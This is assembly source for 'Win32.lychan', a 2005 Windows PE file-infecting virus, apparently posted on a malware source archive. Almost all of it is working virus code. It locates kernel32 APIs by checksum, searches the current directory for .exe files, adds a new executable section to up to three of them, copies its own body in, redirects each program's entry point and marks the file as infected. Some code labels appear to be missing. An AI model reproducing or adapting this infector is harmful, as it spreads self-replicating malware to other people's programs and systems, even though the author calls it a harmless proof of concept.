|| Author: lclee_vx/F13-Labs || Back to sources || View project folder ||
;Win32.lychan (c)opyright 2005 by lclee_vx
;Win32.lychan is a PE infector on Windows 9x/2K/XP without any encryption,  
;its proof of concept show that how virus infect the PE exe with adding new section behind 
;the target exe files. A little different compare with w32.cleevix.
;when the win32.lychan execute, its running the process as below
;1) Retrieve the base address of Kernel32.dll
;2) Scans the Export Table of Kernel32.dll for the API Functions with checksum technic
;3) Retrieve API functions by scanning others *.dll file. For example, retrieve 
;   MessageBox function from User32.dll file.
;4) Scan the Current directory, infect all the *exe files. 
;5) The virus do not try to harm/damage the system, its just patch itself to the
;   PE files with adding new section and copy virus body inside the new section.
;6) its detected by Antivirus software. I publish this code is to proof that another technic of
;   PE appending with adding new section behind PE exe files (Is old technic :p!!). 
;That is about all folks. The code is heavily commented, so, it should be easy
;enough to follow. 
;                                    Disclaimer
;                                    ----------
;Author		:  	lclee_vx
;Group		:  	F-13 Labs
;Web			: 	http://f13.host.sk
;Email		: 	lclee_vx@yahoo.com
;Credit		: 	Lord Julus, 29A ezines, IKX ezines


.model flat, stdcall
option casemap:none


	call	Delta

	pop		ebp
	mov		ebx, ebp											;ebx=ebp

	sub		ebp, offset Delta				
	sub		ebx, RubbishSize										;ebx=ImageBase
	sub		ebx, 1000h
	mov		dword ptr [ebp+offset ModuleAddress], ebx						;save
	mov		esi, [esp]											;get the current Address 
	and		esi, 0FFFF0000h										
	call		GetK32
	mov		dword ptr [ebp+offset KernelAddr], esi						;save the address of Kernel32.dll
	call		GetApis
	call		SpecialApi
	call 		DirectoryScan
	cmp		ebp, 0
	je		FirstGeneration
	call		FirstGeneration

	mov		eax, dword ptr [ebp+offset OldEip]
	jmp		eax
;Directory scanning the files we are going to infect
DirectoryScan	proc
	lea		eax, [ebp+offset CurtDirectory]						;get the address of current directory
	push		eax
	push		max_path										;load the size of directory=260
	mov		eax, dword ptr [ebp+offset aGetCurrentDirectoryA]	
	call		eax
	lea		eax, [ebp+offset CurtDirectory]
	push		eax
	mov		eax, dword ptr [ebp+offset aSetCurrentDirectoryA]			;set to current directory
	call		eax
	mov		dword ptr [ebp+offset Counter], 3						;set the counter=3, target maximum 3 files
	call		SearchFiles										;jump to search the files

DirectoryScan endp

;This is the routine to search the target files 
SearchFiles	proc
	push		ebp										;save ebp
	lea		eax, dword ptr [ebp+offset W32FindData]				;load the Win32_Find_Data structure
	push		eax
	lea		eax, [ebp+offset Mark]							;target file "*.exe"
	push		eax
	mov		eax, dword ptr [ebp+offset aFindFirstFileA]			;start searching target file
	call		eax
	pop		ebp										;save the original ebp
	inc		eax										;eax+1
	jz		SearchClose									;"FindFirstFile" error?
	dec		eax										;get the original eax
	mov		dword ptr [ebp+offset SearchHandle], eax				;save the SearchHandle
	mov		esi, offset W32FindData.FileName					;esi = filename
	add		esi, ebp
	mov		dword ptr [ebp+offset FilePointer], esi				;save it
	call		InfectFile									;jump to infect file
	dec		dword ptr [ebp+offset Counter]					;Counter-1
	cmp		dword ptr [ebp+offset Counter], 0					;Counter=0??
	je		SearchHandleClose								;close searching
	push		ebp										;save ebp
	mov		eax, dword ptr [ebp+offset W32FindData]				;eax= Win32_Find_Data structure
	push		eax
	mov		eax, dword ptr [ebp+offset SearchHandle]				;eax=SearchHandle
	push		eax
	mov		eax, dword ptr [ebp+offset aFindNextFileA]			;start next searching
	call		eax
	pop		ebp
	cmp		eax, 0									;FindNextFile error??
	je		SearchHandleClose								;close searching
	mov		esi, offset W32FindData.FileName					;esi=filename
	add		esi, ebp
	mov		dword ptr [ebp+offset FilePointer], esi				;save it
	call		InfectFile
	dec		dword ptr [ebp+offset Counter]					;Counter-1
	cmp		dword ptr [ebp+offset Counter], 0					;Counter=0?
	jne		SearchNext
	push		ebp										;save ebp
	push		dword ptr [ebp+offset SearchHandle]
	mov		eax, dword ptr [ebp+offset aFindClose]				;close the searching
	call		eax
	pop		ebp
	cmp		eax, 0									;error??
	je		SearchClose

SearchFiles endp

;Infect the *.exe files
;ecx=original filesize
;esi=Filename pointer
	mov		dword ptr [ebp+offset InfectFlag], 0h				;mark the infectFlag=0
	push		esi										;esi=pointer to FileName
	mov		eax, dword ptr [ebp+offset aGetFileAttributesA]			;get the file attribute
	call		eax
	cmp		eax, -1									;error??
	jz		InfectFail	
	mov		dword ptr [ebp+offset OriFileAttribute], eax			;save it
	push		00000080h									;set "Any"
	push		dword ptr [ebp+offset FilePointer]
	mov		eax, dword ptr [ebp+offset aSetFileAttributesA]			;set the file attribute
	call		eax
	cmp		eax, 0									;error??
	jz		ErrorOpenExe								;jump out 
	push		0h
	push		80h
	push		00000003h
	push		0h
	push		0h
	push		0c0000000h
	push		dword ptr [ebp+offset FilePointer]
	mov		eax, [ebp+offset aCreateFileA]					;open the target file
	call		eax
	cmp		eax, -1									;error?
	jz		ErrorOpenExe
	mov		dword ptr [ebp+offset FileHandle], eax				;save the FileHandle
	mov		ecx, [W32FindData.FileSizeHigh+ebp]					;ecx=lpFileSizeHigh
	push		ecx
	push		eax										;eax=FileHandle
	mov		eax, [ebp+offset aGetFileSize]
	call		eax										;eax=FileSize
	cmp		eax, -1
	jz		ErrorBuffer
	mov		dword ptr [ebp+offset OriFileSize], eax
	add		eax, SecVirSize+SecVirPadd						;add extra size=2000h
	push		eax
	push		40h										;GMEM_FIXED=0 or GMEM_ZEROINIT=0040h
	mov		eax, [ebp+offset aGlobalAlloc]					;allocate the specified bytes
	call		eax										;in the heap
	cmp		eax, 0									;error??
	jz		ErrorBuffer
	mov		dword ptr [ebp+offset MemoryHandle], eax				;save it
	xor		eax, eax
	lea		eax, dword ptr [ebp+offset ByteRead]				;load the ByteRead
	push		0h
	push		eax
	push		dword ptr [ebp+offset OriFileSize]
	push		dword ptr [ebp+offset MemoryHandle]
	push		dword ptr [ebp+offset FileHandle]
	mov		eax, [ebp+offset aReadFile]						;read data from the file
	call		eax
	cmp		eax, 0									;error??
	jz		ErrorReadExe
	mov		esi, [ebp+offset MemoryHandle]					;esi=memory handle address
	cmp		word ptr [esi], "ZM"							;checking MZ signature
	jnz		ErrorReadExe
	mov		eax, [esi+3ch]								;eax=offset PE Header
	add		esi, eax									;esi=pointer to PE Header
	cmp		dword ptr [esi], "EP"							;PE file??
	jz		StartInfect									;start infect the files
	mov		dword ptr [ebp+offset InfectFlag], 0FFh				;put the error mark
	jmp		ErrorReadExe

	cmp		dword ptr [esi+4ch], "chan"						;file infected
	jz		ErrorReadExe
	mov		dword ptr [esi+4ch], "chan"						;mark the infected file
	mov		dword ptr [ebp+offset PEHeaderExe], esi				;save the PE Header

;here we start adjust Original PE Header parameter
	xor		eax, eax
	mov		ax, word ptr [esi+06h]							;original No.Of.Section
	mov		dword ptr [ebp+offset OriSection], eax				;save it		
	inc		word ptr [esi+06h]							;No.Of.Section+1
	mov		eax, [esi+28h]								;eax=Original AddressOfEntryPoint
	add		eax, [esi+34h]								;eax=Original AddressOfEntryPoint+
													;Original ImageBase
	mov		dword ptr [ebp+offset OldEip], eax					;save it
	mov		eax, [esi+50h]								;eax=Original SizeOfImage
	mov		[esi+28h], eax								;update the New AddressOfEntryPoint
	mov		dword ptr [ebp+offset OriImageSize], eax				;save it
	add		eax, SecVirSize								;size new section, enough..:)!!
	mov		[esi+50h], eax								;New SizeOfImage
;now we point to the last section header
;esi= pointer PE Header
	add		esi, 0F8h									;point to section header
	mov		eax, 28h									;section header size
	mov		ecx, [ebp+offset OriSection]						;original No.Of.Section
	mul		ecx										;eax=eax*ecx
	add		esi, eax									;esi=Point to Last Section Header
	mov		dword ptr [ebp+offset LastSectionHeader], eax			;save it
	assume	esi:ptr PESection
	mov		dword ptr [esi].nsname, "lych"					;name
	mov		eax, SecVirSize								;eax=New Section VirtualSize
	mov		[esi].nsvirtualsize, eax
	mov		eax, [ebp+offset OriImageSize]					;eax=Original SizeOfImage
	mov		[esi].nsRVA, eax
	mov		eax, VirusSize								;eax=virus length
	mov		[esi].nsphysicalsize, eax
	mov		eax, [ebp+offset OriFileSize]						;eax=original FileSize
	mov		[esi].nsphysicaloffset, eax
	mov		eax, Char
	mov		[esi].nsflags, eax							;set section Read, Write, Executable
	assume	esi:
;start copy virus body
	mov		edi, [ebp+offset MemoryHandle]
	mov		eax, [ebp+offset OriFileSize]
	add		edi, eax									;edi=MemoryHandle+OriFileSize
	mov		esi, offset VirusStart
	add		esi, ebp									;esi=point to VirusStart
	mov		ecx, VirusSize
	rep		movsb										;start copy virus body to target files

	push		0h
	push		0h
	push		0h
	push		dword ptr [ebp+offset FileHandle]
	mov		eax, [ebp+offset aSetFilePointer]
	call		eax
	mov		eax, VirusSize
	mov		ecx, [ebp+offset OriFileSize]
	add		ecx, eax									;ecx=VirusSize+OriFileSize
	lea		eax, dword ptr [ebp+offset ByteRead]
	push		0h
	push		eax
	push		ecx
	push		dword ptr [ebp+offset MemoryHandle]
	push		dword ptr [ebp+offset FileHandle]
	mov		eax, [ebp+offset aWriteFile]
	call		eax
	push		ebp
	push		dword ptr [ebp+offset MemoryHandle]
	mov		eax, [ebp+offset aGlobalFree]
	call		eax
	pop		ebp

	push		ebp
	push		dword ptr [ebp+offset FileHandle]
	mov		eax, [ebp+offset aCloseHandle]
	call		eax
	pop		ebp

	push		ebp
	push		dword ptr [ebp+offset OriFileAttribute]
	push		dword ptr [ebp+offset FilePointer]
	mov		eax, [ebp+offset aSetFileAttributesA]
	call		eax
	pop		ebp
	jmp		InfectCheck

	jmp		JumpOut
	cmp		dword ptr [ebp+offset InfectFlag], 0FFh
	jz		InfectFail

;here we start to scan APIs functions "GetProcAddress" and "LoadLibrary"
;and retrieve others APIs functions with GetProcAddress and LoadLibrary
;AddressOfNames     = points to a table of function name string one after another
;AddressOfFunctions = points to a table filled with function addresses
;AddressOfOrdinals  = points to a table with the ordinal number or each function 
GetApis		proc
	mov		eax, esi										;eax=esi=address of kernel32.dll
	add		eax, dword ptr [eax+3ch]							;eax=Pointer to PE Header
	mov		dword ptr [ebp+offset PEHeader], eax					;save it
	add		esi, dword ptr [eax+78h]							;esi=point to ExportDirectory
	mov		dword ptr [ebp+offset ExportDir], esi					;save it
	mov		edx, dword ptr [ebp+offset KernelAddr]					;edx=Address of Kernel32.dll
	add		edx, [esi+20h]									;edx=AddressOfNames
	mov		dword ptr [ebp+offset AddrOfNames], edx					;save it
	mov		ecx, dword ptr [esi+18h]							;ecx=NumberOfNames
	mov		dword ptr [ebp+offset NumOfNames], ecx					;save it
	lea		edi, word ptr [ebp+offset ImportantApis]					;edi=API functions we need
	xor		eax, eax										;set the index counter eax=0
	mov		esi, dword ptr [ebp+offset KernelAddr]					;esi=Address of Kernel32.dll
	add		esi, [edx+eax*4]									;get address for next api name in 

	pushad												;save all the register 
	xor		edx, edx										;edx=0
	mov		edx, dword ptr [edi]								;load the Api functions need into edx
	cmp		edx, 12345678h									;ended?? Refer to "ImportantApis" structure
	jz		GetOut1										;jump to end of routine
	xor		eax, eax										;eax=0
	lodsb								 					;esi-->eax, take a character, ie:"_X"
	mov		ah, al										;move it left, ie:"X __"
	mov		al, 0
	sub		edx, eax											
	cmp		eax, 0										;eax=0??
	jz		@Step3
	xor		ax, ax										;ax=0
	lodsb													;esi-->eax, take a character, ie:"_Y"
	sub		edx, eax
	cmp		eax, 0										;eax=0
	jnz		@Step2

	test	edx, edx											;edx=0?, we get the checksum match?
	jz		FoundApi
	popad													;save back all the register
	inc		eax											;eax+1
	cmp		eax, dword ptr [ebp+offset NumOfNames]					;compare with the NumberOfNames
	jge		GetOut										;jump out from the routine
	jmp		SearchApiName

;Here we apply two formula to retrieve the address of the API functions we need
;eax = The index into the Address of Ordinals
;Formula 1: eax*2+[AddressOfNameOrdinals]=Ordinal
;Formula 2: Ordinal*4+[AddressOfFunctions]=Address of Function (RVA) 

	popad												;save back all the register
	mov		esi, dword ptr [ebp+offset ExportDir]				;esi=point to ExportDir
	mov		edx, dword ptr [ebp+offset KernelAddr]				;edx=Address of Kernel32.dll
	add		edx, [esi+24h]								;edx=AddressOfNameOrdinals
	movzx		eax, word ptr [edx+eax*2]						;Apply Formula 1
	mov		edx, dword ptr [ebp+offset KernelAddr]				;edx=Address of Kernel32.dll
	add		edx, [esi+1ch]								;edx+AddressOfFunctions
	mov		esi, dword ptr [ebp+offset KernelAddr]
	add		esi, [edx+eax*4]
	mov		eax, esi									;eax=address of functions
	add		edi, 4
	stosd												;save eax -->edi
	xor		eax, eax
	mov		edx, dword ptr [ebp+offset AddrOfNames]
	jmp		SearchApiName


GetApis endp

;call the special api function in User32.dll
SpecialApi	proc
	lea		eax, [ebp+offset User32Dll]
	push		eax
	mov		eax, dword ptr [ebp+offset aLoadLibraryA]
	call		eax
	lea		esi, [ebp+offset sMessageBoxA]
	push		esi
	push		eax
	mov		eax, dword ptr [ebp+offset aGetProcAddress]
	call		eax
	mov		dword ptr [ebp+offset aMessageBoxA], eax

SpecialApi endp
;This routine is scan Kernel32.dll address
;we set the esi+IMAGE_DOS_HEADER.e_lfanew < 4096byte (1000h), its impossible the size of Dos Header
;plus Stub > 4096byte, correct me if i wrong :p
;the code "test ax, 0f000h" that mean we check the value for "0xxx", x=value 0,1
GetK32		proc
	push		eax

	dec		esi												;Checking every byte
	mov		ax, [esi+3ch]										;ax=esi+IMAGE_DOS_HEADER.e_lfanew
	test		ax, 0f000h											;ax < 4096byte
	jnz		Step1
	cmp		esi, [esi+eax+34h]									;esi=IMAGEBASE ??
	jnz		Step1
	pop		eax												;save the original eax 

GetK32 endp

;1. For ImportantAPIs, the 100h ~ FFh (1 word)
max_path				equ	260

ModuleAddress			dd	00000000h
OldEip				dd	00000000h
Counter				dd	00000000h
KernelAddr				dd	00000000h
PEHeader				dd	00000000h
ExportDir				dd	00000000h
AddrOfNames				dd	00000000h
NumOfNames				dd	00000000h
SearchHandle			dd	00000000h
FilePointer				dd	00000000h
OriFileSize				dd	00000000h
InfectFlag				dd	00000000h
OriFileAttribute			dd	00000000h
FileHandle				dd	00000000h
MemoryHandle			dd	00000000h
OriImageSize			dd	00000000h
NewImageSize			dd	00000000h
LastSectionHeader			dd	00000000h
PEHeaderExe				dd	00000000h
OriSection				dd	00000000h
ByteRead				dd	?

WinDirectory			db	max_path dup (?)
SysDirectory			db	max_path dup (?)
CurtDirectory			db	max_path dup (?)
Mark					db	"*.exe", 0
User32Dll				db	"User32.dll", 0	

sMessageBoxA			db	"MessageBoxA", 0
aMessageBoxA			dd	00000000h

sLoadLibraryA			dd	"Lo"+"ad"+"Li"+"br"+"ar"+"yA"
aLoadLibraryA			dd	000000000h
sGetProcAddress			dd	"Ge"+"tP"+"ro"+"cA"+"dd"+"re"+"ss"
aGetProcAddress			dd	00000000h
sGetWindowsDirectoryA		dd	"Ge"+"tW"+"in"+"do"+"ws"+"Di"+"re"+"ct"+"or"+"yA"
aGetWindowsDirectoryA		dd	00000000h
sGetSystemDirectoryA		dd	"Ge"+"tS"+"ys"+"te"+"mD"+"ir"+"ec"+"to"+"ry"+"A"*100h
aGetSystemDirectoryA		dd	00000000h
sGetCurrentDirectoryA		dd	"Ge"+"tC"+"ur"+"re"+"nt"+"Di"+"re"+"ct"+"or"+"yA"
aGetCurrentDirectoryA		dd	00000000h
sSetCurrentDirectoryA		dd	"Se"+"tC"+"ur"+"re"+"nt"+"Di"+"re"+"ct"+"or"+"yA"
aSetCurrentDirectoryA		dd	00000000h
sFindFirstFileA			dd	"Fi"+"nd"+"Fi"+"rs"+"tF"+"il"+"eA"
aFindFirstFileA			dd	00000000h
sFindNextFileA			dd	"Fi"+"nd"+"Ne"+"xt"+"Fi"+"le"+"A"*100h
aFindNextFileA			dd	00000000h
sFindClose				dd	"Fi"+"nd"+"Cl"+"os"+"e"*100h
aFindClose				dd	00000000h
sGetFileAttributesA		dd	"Ge"+"tF"+"il"+"eA"+"tt"+"ri"+"bu"+"te"+"sA"
aGetFileAttributesA		dd	00000000h
sSetFileAttributesA		dd	"Se"+"tF"+"il"+"eA"+"tt"+"ri"+"bu"+"te"+"sA"
aSetFileAttributesA		dd	00000000h
sCreateFileA			dd	"Cr"+"ea"+"te"+"Fi"+"le"+"A"*100h
aCreateFileA			dd	00000000h
sGetFileSize			dd	"Ge"+"tF"+"il"+"eS"+"iz"+"e"*100h
aGetFileSize			dd	00000000h
sGlobalAlloc			dd	"Gl"+"ob"+"al"+"Al"+"lo"+"c"*100h
aGlobalAlloc			dd	00000000h
sReadFile				dd	"Re"+"ad"+"Fi"+"le"
aReadFile				dd	00000000h
sSetFilePointer			dd	"Se"+"tF"+"il"+"eP"+"oi"+"nt"+"er"
aSetFilePointer			dd	00000000h
sWriteFile				dd	"Wr"+"it"+"eF"+"il"+"e"*100h
aWriteFile				dd	00000000h
sGlobalFree				dd	"Gl"+"ob"+"al"+"Fr"+"ee"
aGlobalFree				dd	00000000h
sCloseHandle			dd	"Cl"+"os"+"eH"+"an"+"dl"+"e"*100h
aCloseHandle			dd	00000000h
sExitProcess			dd	"Ex"+"it"+"Pr"+"oc"+"es"+"s"*100h
aExitProcess			dd	00000000h
						dd	12345678h

filetime		STRUC						;file time structure
				FT_dwLowDateTime	DD ?	
				FT_dwHighDateTime	DD ?
filetime		ENDS	

win32_find_data                 STRUC             
         FileAttributes          DD ?              ; attributes
         CreationTime            filetime ?        ; time of creation
         LastAccessTime          filetime ?        ; last access time
         LastWriteTime           filetime ?        ; last modificationm
         FileSizeHigh            DD ?              ; filesize
         FileSizeLow             DD ?              ; -"-
         Reserved0               DD ?              ;
         Reserved1               DD ?              ;
         FileName                DB max_path DUP (?) ; long filename
         AlternateFileName       DB 13 DUP (?)     ; short filename
                                 DB 3 DUP (?)      ; dword padding
 win32_find_data                 ENDS              ;
 W32FindData    win32_find_data ?                  ; our search area

PESection						STRUC		
	nsname						db	8 dup (0)
	nsvirtualsize				dd 	0
	nsRVA						dd	0
	nsphysicalsize				dd	0
	nsphysicaloffset			dd	0
	nsreserved					db	12 dup (0)
	nsflags						dd	0
PESection ends

RubbishSize		equ	(offset Delta - offset VirusStart)		;redundant size
VirusSize		equ	(offset VirusEnd-offset VirusStart)		;total size of virus
SecVirSize		equ	1000h
SecVirPadd		equ	1000h
Char			equ	0E0000020h								;read, write, executable

szTopic			db	"F-13 Labs", 0
szText			db	"Coded by lclee_vx", 0

	push	0
	lea		eax, [ebp+offset szTopic]
	push	eax
	lea		eax, [ebp+offset szText]
	push	eax
	push	0
	mov		eax, [ebp+offset aMessageBoxA]
	call	eax

end	VirusStart